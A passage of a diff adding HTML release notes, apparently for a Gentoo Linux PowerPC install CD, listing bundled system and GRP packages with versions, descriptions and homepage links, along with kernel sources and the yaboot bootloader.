+<br/>Secure locate provides a secure way to index and quickly search for files on your system (drop-in replacement for 'locate') [ http://www.geekreview.org/slocate/ ]</li><li>
+sys-apps/tcp-wrappers-7.6-r6
+<br/>TCP Wrappers [ ftp://ftp.porcupine.org/pub/security/index.html ]</li><li>
+sys-apps/which-2.16
+<br/>Prints out location of specified executables that are in your path [ http://www.xs4all.nl/~carlo17/which/ ]</li><li>
+sys-apps/powerpc-utils-1.1.3-r7
+<br/>PowerPC utils; nvsetenv [ http://http.us.debian.org/debian/pool/main/p/powerpc-utils/ ]</li><li>
+sys-apps/xinetd-2.3.11
+<br/>Xinetd is a powerful replacement for inetd, with advanced features [ http://www.xinetd.org ]</li><li>
+sys-apps/modutils-2.4.25
+<br/>Standard kernel module utilities [ http://www.kernel.org/pub/linux/utils/kernel/modutils/ ]</li><li>
+sys-libs/glibc-2.3.2-r9
+<br/>GNU libc6 (also called glibc2) C library [ http://www.gnu.org/software/libc/libc.html ]</li><li>
+sys-libs/ncurses-5.3-r5
+<br/>Linux console display library [ http://www.gnu.org/software/ncurses/ncurses.html ]</li><li>
+sys-libs/zlib-1.1.4-r3
+<br/>Standard (de)compression library [ http://www.gzip.org/zlib ]</li><li>
+sys-libs/pam-0.77
+<br/>Pluggable Authentication Modules [ http://www.kernel.org/pub/linux/libs/pam/ ]</li><li>
+sys-libs/readline-4.3-r4
+<br/>Another cute console display library [ http://cnswww.cns.cwru.edu/php/chet/readline/rltop.html ]</li><li>
+sys-libs/db-4.1.25_p1-r3
+<br/>Berkeley DB [ http://www.sleepycat.com ]</li><li>
+sys-libs/cracklib-2.7-r8
+<br/>Password Checking Library [ http://www.crypticide.org/users/alecm/ ]</li><li>
+sys-libs/pwdb-0.62
+<br/>Password database [ http://www.firstlinux.com/cgi-bin/package/content.cgi?ID=6886 ]</li><li>
+sys-libs/gdbm-1.8.0-r5
+<br/>Standard GNU database libraries included for compatibility with Perl [ http://www.gnu.org/software/gdbm/gdbm.html ]</li><li>
+dev-python/python-fchksum-1.6.1-r1
+<br/>Python module to find the checksum of files [ http://www.dakotacom.net/~donut/programs/fchksum.html ]</li><li>
+app-shells/bash-2.05b-r7
+<br/>The standard GNU Bourne again shell [ http://www.gnu.org/software/bash/bash.html ]</li><li>
+app-shells/sash-3.6
+<br/>A small static UNIX Shell with readline support [ http://www.canb.auug.org.au/~dbell/ http://dimavb.st.simbirsk.su/vlk/ ]</li><li>
+dev-libs/expat-1.95.6-r1
+<br/>XML parsing libraries [ http://expat.sourceforge.net/ ]</li><li>
+dev-libs/openssl-0.9.7d
+<br/>Toolkit for SSL v2/v3 and TLS v1 [ http://www.openssl.org/ ]</li><li>
+dev-libs/popt-1.7-r1
+<br/>Parse Options - Command line parser [ http://www.rpm.org/ ]</li><li>
+dev-lang/python-2.3.3
+<br/>A really great language [ http://www.python.org ]</li><li>
+dev-lang/perl-5.8.2-r1
+<br/>Larry Wall's Practical Extraction and Reporting Language [ http://www.perl.org/ ]</li><li>
+sys-fs/devfsd-1.3.25-r6
+<br/>Daemon for the Linux Device Filesystem [ http://www.atnf.csiro.au/~rgooch/linux/ ]</li><li>
+sys-fs/e2fsprogs-1.34-r1
+<br/>Standard EXT2 and EXT3 filesystem utilities [ http://e2fsprogs.sourceforge.net/ ]</li><li>
+sys-fs/hfsutils-3.2.6-r3
+<br/>HFS FS Access utils [ http://www.mars.org/home/rob/proj/hfs/ ]</li><li>
+sys-fs/hfsplusutils-1.0.4-r1
+<br/>HFS+ Filesystem Access Utilities (a PPC filesystem) [ http://ftp.penguinppc.org/users/hasi/ ]</li><li>
+app-arch/ncompress-4.2.4
+<br/>Another uncompressor for compatibility [ ftp://ftp.leo.org/pub/comp/os/unix/linux/sunsite/utils/compress/ ]</li><li>
+app-arch/bzip2-1.0.2-r3
+<br/>A high-quality data compressor used extensively by Gentoo Linux [ http://sources.redhat.com/bzip2/ ]</li><li>
+app-arch/cpio-2.5
+<br/>A file archival tool which can also read and write tar files [ http://www.gnu.org/software/cpio/cpio.html ]</li><li>
+app-arch/gzip-1.3.3-r2
+<br/>Standard GNU compressor [ http://www.gnu.org/software/gzip/gzip.html ]</li><li>
+app-arch/sharutils-4.2.1-r6
+<br/>Tools to deal with shar archives [ http://www.gnu.org/software/sharutils/ ]</li><li>
+app-arch/tar-1.13.25-r3
+<br/>Use this to try make tarballs :) [ http://www.gnu.org/software/tar/ ]</li><li>
+dev-perl/ExtUtils-MakeMaker-6.21
+<br/>MakeMaker Perl Module [ http://cpan.valueclick.com/modules/by-module/ExtUtils/.readme ]</li><li>
+net-ftp/ftp-0.17-r3
+<br/>Standard Linux FTP client with optional SSL support [ http://www.hcs.harvard.edu/~dholland/computers/netkit.html ]</li><li>
+net-misc/rsync-2.6.0
+<br/>File transfer program to keep remote files into sync [ http://rsync.samba.org/ ]</li><li>
+net-misc/dhcpcd-1.3.22_p4-r4
+<br/>A dhcp client only [ http://www.phystech.com/download/ ]</li><li>
+net-misc/iputils-021109-r1
+<br/>Network monitoring tools including ping and ping6 [ ftp://ftp.inr.ac.ru/ip-routing ]</li><li>
+net-misc/wget-1.9-r2
+<br/>Network utility to retrieve files from the WWW [ http://wget.sunsite.dk/ ]</li><li>
+net-misc/openssh-3.7.1_p2-r1
+<br/>Port of OpenBSD's free SSH release [ http://www.openssh.com/ ]</li><li>
+sys-boot/yaboot-1.3.11
+<br/>PPC Bootloader [ http://penguinppc.org/projects/yaboot/ ]</li><li>
+app-editors/nano-1.2.3
+<br/>GNU GPL'd Pico clone with more functionality [ http://www.nano-editor.org/ ]</li><li>
+dev-util/dialog-0.9_beta20030308-r1
+<br/>A Tool to display Dialog boxes from Shell [ http://hightek.org/dialog/ ]</li><li>
+app-portage/gentoolkit-0.2.0_pre8
+<br/>Collection of administration scripts for Gentoo [ http://www.gentoo.org/~karltk/projects/gentoolkit/ ]</li>
+		
+		</ul>
+
+		<p>Sources for the following kernels are provided on CD 1:</p>
+		
+		<ul>
+			<li>ppc-development-sources-2.6.3-r2</li>
+			<li>ppc-sources-2.4.24-r2</li>
+		</ul>
+
+		<p>Bootloader:</p>
+		<ul>
+			<li>yaboot-1.3.12 - G3, G4, G5 compatible</li>
+		</ul>
+		
+		<p>GRP packages:</p>
+
+		<ul>
+
+
+<li>
+sys-kernel/linux-headers-2.4.22
+<br/>Linux  headers from kernel.org [ http://www.kernel.org/ http://www.gentoo.org/ ]</li><li>
+sys-kernel/genkernel-3.0.2a
+<br/>Gentoo autokernel script [ http://www.gentoo.org ]</li><li>
+sys-kernel/ppc-development-sources-2.6.1-r1
+<br/>Full sources for the linux kernel 2.6 with benh's patchset [ http://www.gentoo.org ]</li><li>
+sys-devel/binutils-2.14.90.0.6-r6
+<br/>Tools necessary to build programs [ http://sources.redhat.com/binutils/ ]</li><li>
+sys-devel/gcc-3.2.3-r4
+<br/>The GNU Compiler Collection.  Includes C/C++ and java compilers [ http://www.gnu.org/software/gcc/gcc.html ]</li><li>
+sys-devel/gcc-config-1.3.4
+<br/>Utility to change the gcc compiler being used. [ http://www.gentoo.org/ ]</li><li>
+sys-devel/libtool-1.4.3-r4
+<br/>A shared library tool for developers [ http://www.gnu.org/software/libtool/libtool.html ]</li><li>
+sys-devel/gettext-0.12.1
+<br/>GNU locale utilities [ http://www.gnu.org/software/gettext/gettext.html ]</li><li>
+sys-devel/patch-2.5.9
+<br/>Utility to apply diffs to files [ http://www.gnu.org/software/patch/patch.html ]</li><li>
+sys-devel/gnuconfig-20030708
+<br/>Updated config.sub and config.guess file from GNU [ ftp://ftp.gnu.org/pub/gnu/config ]</li><li>
+sys-devel/m4-1.4-r1
+<br/>GNU macro processor [ http://www.gnu.org/software/m4/m4.html ]</li><li>
+sys-devel/bc-1.06-r5
+<br/>Handy console-based calculator utility [ http://www.gnu.org/software/bc/bc.html ]</li><li>
+sys-devel/autoconf-2.58-r1
+<br/>Used to create autoconfiguration files [ http://www.gnu.org/software/autoconf/autoconf.html ]</li><li>
+sys-devel/automake-1.8.3
+<br/>Used to generate Makefile.in from Makefile.am [ http://www.gnu.org/software/automake/automake.html ]</li><li>
+sys-devel/bison-1.35
+<br/>A yacc-compatible parser generator [ http://www.gnu.org/software/bison/bison.html ]</li><li>
+sys-devel/make-3.80
+<br/>Standard tool to compile source trees [ http://www.gnu.org/software/make/make.html ]</li><li>
+sys-devel/flex-2.5.4a-r5
+<br/>GNU lexical analyser generator [ http://lex.sourceforge.net/ ]</li><li>
+sys-devel/gdb-6.0
+<br/>GNU debugger [ http://sources.redhat.com/gdb/ ]</li><li>
+sys-apps/baselayout-1.8.6.13
+<br/>Base layout for Gentoo Linux filesystem (incl. initscripts and sysvinit) [ http://www.gentoo.org/ ]</li><li>
+sys-apps/texinfo-4.6
+<br/>The GNU info program and utilities [ http://www.gnu.org/software/texinfo/ ]</li><li>
+sys-apps/sed-4.0.7
+<br/>Super-useful stream editor [ http://www.gnu.org/software/sed/sed.html ]</li><li>
+sys-apps/portage-2.0.50-r5
+<br/>Portage ports system [ http://www.gentoo.org ]</li><li>
+sys-apps/eject-2.0.12-r1
+<br/>A command to eject a disc from the CD-ROM drive [ http://eject.sourceforge.net/ ]</li><li>
+sys-apps/attr-2.4.7-r1
+<br/>xfs extended attributes tools [ http://oss.sgi.com/projects/xfs ]</li><li>
+sys-apps/acl-2.2.13-r2
+<br/>Access control list utilities, libraries and headers [ http://oss.sgi.com/projects/xfs ]</li><li>
+sys-apps/debianutils-1.16.7-r4
+<br/>A selection of tools from Debian [ http://packages.debian.org/unstable/base/debianutils.html ]</li><li>
+sys-apps/coreutils-5.0.91-r2
+<br/>Standard GNU file utilities (chmod, cp, dd, dir, ls...), text utilities (sort, tr, head, wc..), and shell utilities (whoami, who,...) [ http://www.gnu.org/software/coreutils/ ]</li><li>
+sys-apps/ed-0.2-r3
+<br/>Your basic line editor [ http://www.gnu.org/software/ed/ ]</li><li>
+sys-apps/less-381
+<br/>Excellent text file viewer [ http://www.greenwoodsoftware.com/ ]</li><li>
+sys-apps/diffutils-2.8.4-r3
+<br/>Tools to make diffs and compare files [ http://www.gnu.org/software/diffutils/diffutils.html ]</li><li>
+sys-apps/findutils-4.1.20-r1
+<br/>GNU utilities to find files [ http://www.gnu.org/software/findutils/findutils.html ]</li><li>
+sys-apps/fbset-2.1
+<br/>A utility to set the framebuffer videomode [ http://linux-fbdev.org/ ]</li><li>
+sys-apps/file-4.02
+<br/>Program to identify a file's format by scanning binary data for patterns [ ftp://ftp.astron.com/pub/file/ ]</li><li>
+sys-apps/cronbase-0.2.1-r3
+<br/>The is the base for all cron ebuilds. [ http://www.gentoo.org/ ]</li><li>
+sys-apps/gawk-3.1.3-r1
+<br/>GNU awk pattern-matching language [ http://www.gnu.org/software/gawk/gawk.html ]</li><li>
+sys-apps/grep-2.5.1-r1
+<br/>GNU regular expression matcher [ http://www.gnu.org/software/grep/grep.html ]</li><li>
+sys-apps/groff-1.18.1-r4
+<br/>Text formatter used for man pages [ http://www.gnu.org/software/groff/groff.html ]</li><li>
+sys-apps/mac-fdisk-0.1
+<br/>Mac/PowerMac disk partitinoing utility [ ftp://ftp.mklinux.apple.com/pub/Other_Tools/ ]</li><li>
+sys-apps/man-1.5l-r6
+<br/>Standard commands to read man pages [ http://freshmeat.net/projects/man/ ]</li><li>
+sys-apps/hdparm-5.4
+<br/>Utility to change hard drive performance parameters [ http://www.ibiblio.org/pub/Linux/system/hardware/ ]</li><li>
+sys-apps/kbd-1.08-r5
+<br/>Keyboard and console utilities [ http://freshmeat.net/projects/kbd/ ]</li><li>
+sys-apps/net-tools-1.60-r7
+<br/>Standard Linux networking tools [ http://sites.inka.de/lina/linux/NetTools/ ]</li><li>
+sys-apps/man-pages-1.66
+<br/>A somewhat comprehensive collection of Linux man pages [ http://www.win.tue.nl/~aeb/linux/man/ ]</li><li>
+sys-apps/setserial-2.17-r2
+<br/>Configure your serial ports with it [ http://setserial.sourceforge.net/ ]</li><li>
+sys-apps/miscfiles-1.3
+<br/>Miscellaneous files [ http://www.gnu.org/directory/miscfiles.html ]</li><li>
+sys-apps/shadow-4.0.3-r9
+<br/>Utilities to deal with user accounts [ http://shadow.pld.org.pl/ ]</li><li>
+sys-apps/pam-login-3.14
+<br/>Based on the sources from util-linux, with added pam and shadow features [ http://www.thkukuk.de/pam/pam_login/ ]</li><li>
+sys-apps/procps-3.1.15
+<br/>Standard informational utilities and process-handling tools -ps top tload snice vmstat free w watch uptime pmap skill pkill kill pgrep sysctl [ http://procps.sourceforge.net/ ]</li><li>
+sys-apps/psmisc-21.2-r4
+<br/>A set of tools that use the proc filesystem [ http://psmisc.sourceforge.net/ ]</li><li>
+sys-apps/util-linux-2.12-r3
+<br/>Various useful Linux utilities [ http://www.kernel.org/pub/linux/utils/util-linux/ ]</li><li>
+sys-apps/slocate-2.7-r2
+<br/>Secure locate provides a secure way to index and quickly search for files on your system (drop-in replacement for 'locate') [ http://www.geekreview.org/slocate/ ]</li><li>
+sys-apps/tcp-wrappers-7.6-r6
+<br/>TCP Wrappers [ ftp://ftp.porcupine.org/pub/security/index.html ]</li><li>
+sys-apps/which-2.16
+<br/>Prints out location of specified executables that are in your path [ http://www.xs4all.nl/~carlo17/which/ ]</li><li>
+sys-apps/powerpc-utils-1.1.3-r7
+<br/>PowerPC utils; nvsetenv [ http://http.us.debian.org/debian/pool/main/p/powerpc-utils/ ]</li><li>
+sys-apps/xinetd-2.3.11
+<br/>Xinetd is a powerful replacement for inetd, with advanced features [ http://www.xinetd.org ]</li><li>
+sys-apps/modutils-2.4.25
+<br/>Standard kernel module utilities [ http://www.kernel.org/pub/linux/utils/kernel/modutils/ ]</li><li>
+sys-apps/module-init-tools-0.9.15_pre4
+<br/>Kernel module tools for the development kernel >=2.5.48 [ http://www.kernel.org/pub/linux/kernel/people/rusty/modules ]</li><li>
+sys-apps/usbutils-0.11-r3
+<br/>USB enumeration utilities [ http://usb.cs.tum.edu/ ]</li><li>
+sys-apps/pciutils-2.1.11
+<br/>Various utilities dealing with the PCI bus [ http://atrey.karlin.mff.cuni.cz/~mj/pciutils.html ]</li><li>
+sys-apps/hotplug-20040105
+<br/>USB and PCI hotplug scripts [ http://linux-hotplug.sourceforge.net ]</li><li>
+sys-apps/sh-utils-2.0.15
+<br/>Your standard GNU shell utilities [ http://www.gnu.org/software/shellutils/shellutils.html ]</li><li>
+sys-apps/parted-1.6.6-r1
+<br/>Create, destroy, resize, check, copy partitions and file systems [ http://www.gnu.org/software/parted ]</li><li>
+sys-apps/vixie-cron-3.0.1-r3
+<br/>The Vixie cron daemon [ http://www.vix.com/ ]</li><li>
+sys-libs/glibc-2.3.2-r9
+<br/>GNU libc6 (also called glibc2) C library [ http://www.gnu.org/software/libc/libc.html ]</li><li>
+sys-libs/ncurses-5.3-r5
+<br/>Linux console display library [ http://www.gnu.org/software/ncurses/ncurses.html ]</li><li>
+sys-libs/zlib-1.1.4-r3
+<br/>Standard (de)compression library [ http://www.gzip.org/zlib ]</li><li>
+sys-libs/pam-0.77
+<br/>Pluggable Authentication Modules [ http://www.kernel.org/pub/linux/libs/pam/ ]</li><li>
+sys-libs/readline-4.3-r4
+<br/>Another cute console display library [ http://cnswww.cns.cwru.edu/php/chet/readline/rltop.html ]</li><li>
+sys-libs/db-4.1.25_p1-r3
+<br/>Berkeley DB [ http://www.sleepycat.com ]</li><li>
+sys-libs/cracklib-2.7-r8
+<br/>Password Checking Library [ http://www.crypticide.org/users/alecm/ ]</li><li>
+sys-libs/pwdb-0.62
+<br/>Password database [ http://www.firstlinux.com/cgi-bin/package/content.cgi?ID=6886 ]</li><li>
+sys-libs/gdbm-1.8.0-r5
+<br/>Standard GNU database libraries included for compatibility with Perl [ http://www.gnu.org/software/gdbm/gdbm.html ]</li><li>
+sys-libs/db-1.85-r1
+<br/>db 1.85 -- required for RPM 4.0 to compile; that's about it. [ http://www.sleepycat.com ]</li><li>
+sys-libs/gpm-1.20.1
+<br/>Console-based mouse driver [ ftp://arcana.linux.it/pub/gpm/ ]</li><li>
+sys-libs/slang-1.4.5-r2
+<br/>Console display library used by most text viewer [ http://space.mit.edu/~davis/slang/ ]</li><li>
+dev-python/python-fchksum-1.6.1-r1
+<br/>Python module to find the checksum of files [ http://www.dakotacom.net/~donut/programs/fchksum.html ]</li><li>
+dev-python/pygtk-2.0.0-r1
+<br/>GTK+2 bindings for Python [ http://www.daa.com.au/~james/pygtk/ ]</li><li>
+dev-python/pyxml-0.8.1
+<br/>A collection of libraries to process XML with Python. [ http://pyxml.sourceforge.net/ ]</li><li>
+dev-python/PyOpenGL-2.0.0.44
+<br/>Python OpenGL bindings [ http://pyopengl.sourceforge.net/ ]</li><li>
+app-shells/bash-2.05b-r7
+<br/>The standard GNU Bourne again shell [ http://www.gnu.org/software/bash/bash.html ]</li><li>
+app-shells/sash-3.6
+<br/>A small static UNIX Shell with readline support [ http://www.canb.auug.org.au/~dbell/ http://dimavb.st.simbirsk.su/vlk/ ]</li><li>
+dev-libs/expat-1.95.6-r1
+<br/>XML parsing libraries [ http://expat.sourceforge.net/ ]</li><li>
+dev-libs/openssl-0.9.7d
+<br/>Toolkit for SSL v2/v3 and TLS v1 [ http://www.openssl.org/ ]</li><li>
+dev-libs/popt-1.7-r1
+<br/>Parse Options - Command line parser [ http://www.rpm.org/ ]</li><li>
+dev-libs/lzo-1.08
+<br/>An extremely fast compression and decompression library [ http://www.oberhumer.com/opensource/lzo/ ]</li><li>
+dev-libs/nss-3.8
+<br/>Mozilla's Netscape Security Services Library that implements PKI support [ http://www.mozilla.org/projects/security/pki/nss/ ]</li><li>
+dev-libs/DirectFB-0.9.20
+<br/>Thin library on top of the Linux framebuffer devices [ http://www.directfb.org/ ]</li><li>
+dev-libs/glib-1.2.10-r5
+<br/>The GLib library of C routines [ http://www.gtk.org/ ]</li><li>
+dev-libs/glib-2.2.3
+<br/>The GLib library of C routines [ http://www.gtk.org/ ]</li><li>
+dev-libs/atk-1.4.1
+<br/>Gnome Accessibility Toolkit [ http://developer.gnome.org/projects/gap/ ]</li><li>
+dev-libs/libxml2-2.6.6
+<br/>Version 2 of the library to manipulate XML files [ http://www.xmlsoft.org/ ]</li><li>
+dev-libs/libIDL-0.8.2
+<br/>CORBA tree builder [ http://www.gnome.org/ ]</li><li>
+dev-libs/libsigc++-1.2.5
+<br/>The GLib library of C routines [ http://libsigc.sourceforge.net/ ]</li><li>
+dev-libs/libxslt-1.1.2
+<br/>XSLT libraries and tools [ http://www.xmlsoft.org/ ]</li><li>
+dev-libs/nspr-4.4.1
+<br/>Netscape Portable Runtime [ http://www.mozilla.org/projects/nspr/ ]</li><li>
+dev-libs/libol-0.3.9
+<br/>Support library for syslog-ng [ http://www.balabit.hu/en/products/syslog-ng/ ]</li><li>
+dev-libs/libxml-1.8.17-r2
+<br/>Version 1 of the library to manipulate XML files. [ http://www.xmlsoft.org/ ]</li><li>
+dev-libs/libunicode-0.4-r1
+<br/>Unicode library [ http://www.gnome.org/ ]</li><li>
+dev-libs/libsigc++-1.0.4-r2
+<br/>The GLib library of C routines [ http://libsigc.sourceforge.net/ ]</li><li>
+dev-libs/fribidi-0.10.4
+<br/>A free implementation of the unicode bidirectional algorithm [ http://fribidi.sourceforge.net/ ]</li><li>
+dev-libs/libpcre-4.2-r1
+<br/>Perl-compatible regular expression library [ http://www.pcre.org/ ]</li><li>
+dev-libs/dbh-1.0.15
+<br/>Disk based hashes is a method to create multidimensional binary trees on disk [ http://www.xfce.org ]</li><li>
+dev-libs/ucl-1.01-r1
+<br/>UCL: The UCL Compression Library [ http://www.oberhumer.com/opensource/ucl/ ]</li><li>
+dev-lang/python-2.3.3
+<br/>A really great language [ http://www.python.org ]</li><li>
+dev-lang/perl-5.8.2-r1
+<br/>Larry Wall's Practical Extraction and Reporting Language [ http://www.perl.org/ ]</li><li>
+dev-lang/ruby-1.8.1-r2
+<br/>An object-oriented scripting language [ http://www.ruby-lang.org/ ]</li><li>
+dev-lang/tcl-8.3.4
+<br/>Tool Command Language [ http://dev.scriptics.com/software/tcltk/ ]</li><li>
+dev-lang/tk-8.3.4-r1
+<br/>Tk Widget Set [ http://dev.scriptics.com/software/tcltk/ ]</li><li>
+sys-fs/devfsd-1.3.25-r6
+<br/>Daemon for the Linux Device Filesystem [ http://www.atnf.csiro.au/~rgooch/linux/ ]</li><li>
+sys-fs/e2fsprogs-1.34-r1
+<br/>Standard EXT2 and EXT3 filesystem utilities [ http://e2fsprogs.sourceforge.net/ ]</li><li>
+sys-fs/hfsutils-3.2.6-r3
+<br/>HFS FS Access utils [ http://www.mars.org/home/rob/proj/hfs/ ]</li><li>
+sys-fs/hfsplusutils-1.0.4-r1
+<br/>HFS+ Filesystem Access Utilities (a PPC filesystem) [ http://ftp.penguinppc.org/users/hasi/ ]</li><li>
+sys-fs/raidtools-1.00.3-r1
+<br/>Linux RAID 0/1/4/5 utilities [ http://people.redhat.com/mingo/raidtools/ ]</li><li>
+sys-fs/dosfstools-2.8-r3
+<br/>dos filesystem tools [ ftp://ftp.uni-erlangen.de/pub/Linux/LOCAL/dosfstools/ ]</li><li>
+sys-fs/progsreiserfs-0.3.0.4
+<br/>library for accessing and manipulating reiserfs partitions [ http://reiserfs.linux.kiev.ua/ ]</li><li>
+sys-fs/reiserfsprogs-3.6.8
+<br/>Reiserfs Utilities [ http://www.namesys.com/ ]</li><li>
+app-arch/ncompress-4.2.4
+<br/>Another uncompressor for compatibility [ ftp://ftp.leo.org/pub/comp/os/unix/linux/sunsite/utils/compress/ ]</li><li>
+app-arch/bzip2-1.0.2-r3
+<br/>A high-quality data compressor used extensively by Gentoo Linux [ http://sources.redhat.com/bzip2/ ]</li><li>
+app-arch/cpio-2.5
+<br/>A file archival tool which can also read and write tar files [ http://www.gnu.org/software/cpio/cpio.html ]</li><li>
+app-arch/gzip-1.3.3-r2
+<br/>Standard GNU compressor [ http://www.gnu.org/software/gzip/gzip.html ]</li><li>
+app-arch/sharutils-4.2.1-r6
+<br/>Tools to deal with shar archives [ http://www.gnu.org/software/sharutils/ ]</li><li>
+app-arch/tar-1.13.25-r3
+<br/>Use this to try make tarballs :) [ http://www.gnu.org/software/tar/ ]</li><li>
+app-arch/rpm2targz-9.0-r2
+<br/>Convert a .rpm file to a .tar.gz archive [ http://www.slackware.com/config/packages.php ]</li><li>
+app-arch/unzip-5.50-r2
+<br/>Unzipper for pkzip-compressed files [ ftp://ftp.info-zip.org/pub/infozip/UnZip.html ]</li><li>
+app-arch/zip-2.3-r2
+<br/>Info ZIP (encryption support) [ ftp://ftp.freesoftware.com/pub/infozip/Zip.html ]</li><li>
+app-arch/file-roller-2.4.4-r2
+<br/>Archive manager for GNOME [ http://fileroller.sourceforge.net/ ]</li><li>
+dev-perl/ExtUtils-MakeMaker-6.21
+<br/>MakeMaker Perl Module [ http://cpan.valueclick.com/modules/by-module/ExtUtils/.readme ]</li><li>
+dev-perl/ExtUtils-F77-1.14-r1
+<br/>Facilitate use of FORTRAN from Perl/XS code [ http://cpan.valueclick.com/modules/by-module/ExtUtils/.readme ]</li><li>
+dev-perl/XML-Parser-2.31-r1
+<br/>A  Perl extension interface to James Clark's XML parser, expat. [ http://cpan.valueclick.com/modules/by-category/11_String_Lang_Text_Proc/XML/.readme ]</li><li>
+dev-perl/SGMLSpm-1.03-r4
+<br/>Perl library for parsing the output of nsgmls [ http://search.cpan.org/author/DMEGG/SGMLSpm-1.03ii/ ]</li><li>
+dev-perl/Parse-RecDescent-1.80-r3
+<br/>Parse::RecDescent - generate recursive-descent parsers [ http://cpan.valueclick.com/modules/by-module/Parse/.readme ]</li><li>
+dev-perl/PDL-2.3.2-r2
+<br/>PDL Perl Module [ http://cpan.valueclick.com/modules/by-module/PDL/.readme ]</li><li>
+dev-perl/XML-Writer-0.4-r2
+<br/>XML Writer Perl Module [ http://cpan.valueclick.com/modules/by-module/XML/.readme ]</li><li>
+dev-perl/gtk-perl-0.7008-r11
+<br/>Perl bindings for GTK [ http://www.perl.org/ ]</li><li>
+dev-perl/TermReadKey-2.21
+<br/>Change terminal modes, and perform non-blocking reads. [ http://cpan.valueclick.com/authors/id/J/JS/JSTOWE/.readme ]</li><li>
+net-ftp/ftp-0.17-r3
+<br/>Standard Linux FTP client with optional SSL support [ http://www.hcs.harvard.edu/~dholland/computers/netkit.html ]</li><li>
+net-misc/rsync-2.6.0
+<br/>File transfer program to keep remote files into sync [ http://rsync.samba.org/ ]</li><li>
+net-misc/dhcpcd-1.3.22_p4-r4
+<br/>A dhcp client only [ http://www.phystech.com/download/ ]</li><li>
+net-misc/iputils-021109-r1
+<br/>Network monitoring tools including ping and ping6 [ ftp://ftp.inr.ac.ru/ip-routing ]</li><li>
+net-misc/wget-1.9-r2
+<br/>Network utility to retrieve files from the WWW [ http://wget.sunsite.dk/ ]</li><li>
+net-misc/openssh-3.7.1_p2-r1
+<br/>Port of OpenBSD's free SSH release [ http://www.openssh.com/ ]</li><li>
+net-misc/curl-7.10.5-r1
+<br/>A Client that groks URLs [ http://curl.haxx.se/ ]</li><li>
+net-misc/host-991529
+<br/>the standalone host tool, supports LOC reporting (RFC1876) [ http://www.dtek.chalmers.se/~d3august/xt/ ]</li><li>
+net-misc/keychain-2.0.2
+<br/>A front-end to ssh-agent [ http://www.gentoo.org/proj/en/keychain.xml ]</li><li>
+net-misc/rdate-990821
+<br/>use TCP or UDP to retrieve the current time of another machine [ http://www.freshmeat.net/projects/rdate/ ]</li><li>
+net-misc/whois-4.6.6-r2
+<br/>improved Whois Client [ http://www.linux.it/~md/software/ ]</li><li>
+sys-boot/yaboot-1.3.11
+<br/>PPC Bootloader [ http://penguinppc.org/projects/yaboot/ ]</li><li>
+app-editors/nano-1.2.3
+<br/>GNU GPL'd Pico clone with more functionality [ http://www.nano-editor.org/ ]</li><li>
+app-editors/emacs-21.3-r1
+<br/>An incredibly powerful, extensible text editor [ http://www.gnu.org/software/emacs ]</li><li>
+app-editors/gedit-2.4.1
+<br/>A text editor for the Gnome2 desktop [ http://www.gnome.org/ ]</li><li>
+app-editors/joe-2.9.8_pre1
+<br/>A free ASCII-Text Screen Editor for UNIX [ http://sourceforge.net/projects/joe-editor/ ]</li><li>
+media-libs/musicbrainz-2.0.2-r1
+<br/>Client library to access metadata of mp3/vorbis/CD media [ http://www.musicbrainz.org/ ]</li><li>
+media-libs/glut-3.7-r2
+<br/>The OpenGL Utility Toolkit (GLUT) [ http://www.opengl.org/developers/documentation/glut/ ]</li><li>
+media-libs/jpeg-6b-r3
+<br/>Library to load, handle and manipulate images in the JPEG format [ http://www.ijg.org/ ]</li><li>
+media-libs/freetype-2.1.5-r1
+<br/>A high-quality and portable font engine [ http://www.freetype.org/ ]</li><li>
+media-libs/libpng-1.2.5-r4
+<br/>Portable Network Graphics library [ http://www.libpng.org/ ]</li><li>
+media-libs/libogg-1.0
+<br/>the Ogg media file format library [ http://www.xiph.org/ogg/vorbis/index.html ]</li><li>
+media-libs/fontconfig-2.2.1
+<br/>A library for configuring and customizing font access. [ http://freedesktop.org/Software/fontconfig ]</li><li>
+media-libs/giflib-4.1.0-r3
+<br/>Library to handle, display and manipulate GIF images [ http://prtr-13.ucsc.edu/~badger/software/libungif/index.shtml ]</li><li>
+media-libs/audiofile-0.2.5
+<br/>An elegant API for accessing audio files [ http://www.68k.org/~michael/audiofile/ ]</li><li>
+media-libs/libart_lgpl-2.3.16
+<br/>a LGPL version of libart [ http://www.levien.com/libart ]</li><li>
+media-libs/tiff-3.5.7-r1
+<br/>Library for manipulation of TIFF (Tag Image File Format) images. [ http://www.libtiff.org/ ]</li><li>
+media-libs/imlib-1.9.14-r1
+<br/>general image loading and rendering library [ http://developer.gnome.org/arch/imaging/imlib.html ]</li><li>
+media-libs/libungif-4.1.0.1b
+<br/>A library for reading and writing gif images without LZW compression [ http://prtr-13.ucsc.edu/~badger/software/libungif/index.shtml ]</li><li>
+media-libs/gdk-pixbuf-0.20.0
+<br/>GNOME Image Library [ http://www.gtk.org/ ]</li><li>
+media-libs/libao-0.8.3-r1
+<br/>the audio output library [ http://www.xiph.org/ogg/vorbis/index.html ]</li><li>
+media-libs/gstreamer-0.6.4
+<br/>Streaming media framework [ http://gstreamer.sourceforge.net ]</li><li>
+media-libs/libvorbis-1.0-r2
+<br/>the Ogg Vorbis sound file format library [ http://www.xiph.org/ogg/vorbis/index.html ]</li><li>
+media-libs/libmng-1.0.4
+<br/>Multiple Image Networkgraphics lib (animated png's) [ http://www.libmng.com/ ]</li><li>
+media-libs/lcms-1.11
+<br/>A lightweight, speed optimized color management engine [ http://www.littlecms.com/ ]</li><li>
+media-libs/gst-plugins-0.6.4
+<br/>Basepack of plugins for gstreamer [ http://gstreamer.net/ ]</li><li>
+media-libs/libexif-0.5.12-r1
+<br/>Library for parsing, editing, and saving EXIF data [ http://libexif.sf.net/ ]</li><li>
+media-libs/libsdl-1.2.6-r3
+<br/>Simple Direct Media Layer [ http://www.libsdl.org/ ]</li><li>
+media-libs/taglib-1.0_beta2
+<br/>A library for reading and editing audio meta data [ http://ktown.kde.org/~wheeler/taglib/ ]</li><li>
+media-libs/xine-lib-1_rc3-r1
+<br/>Core libraries for Xine movie player [ http://xine.sourceforge.net/ ]</li><li>
+media-libs/libdvdcss-1.2.8
+<br/>A portable abstraction library for DVD decryption [ http://developers.videolan.org/libdvdcss/ ]</li><li>
+media-libs/flac-1.1.0
+<br/>free lossless audio encoder which includes an XMMS plugin [ http://flac.sourceforge.net/ ]</li><li>
+media-libs/libfame-0.9.0
+<br/>MPEG-1 and MPEG-4 video encoding library [ http://fame.sourceforge.net/ ]</li><li>
+media-libs/xvid-0.9.1
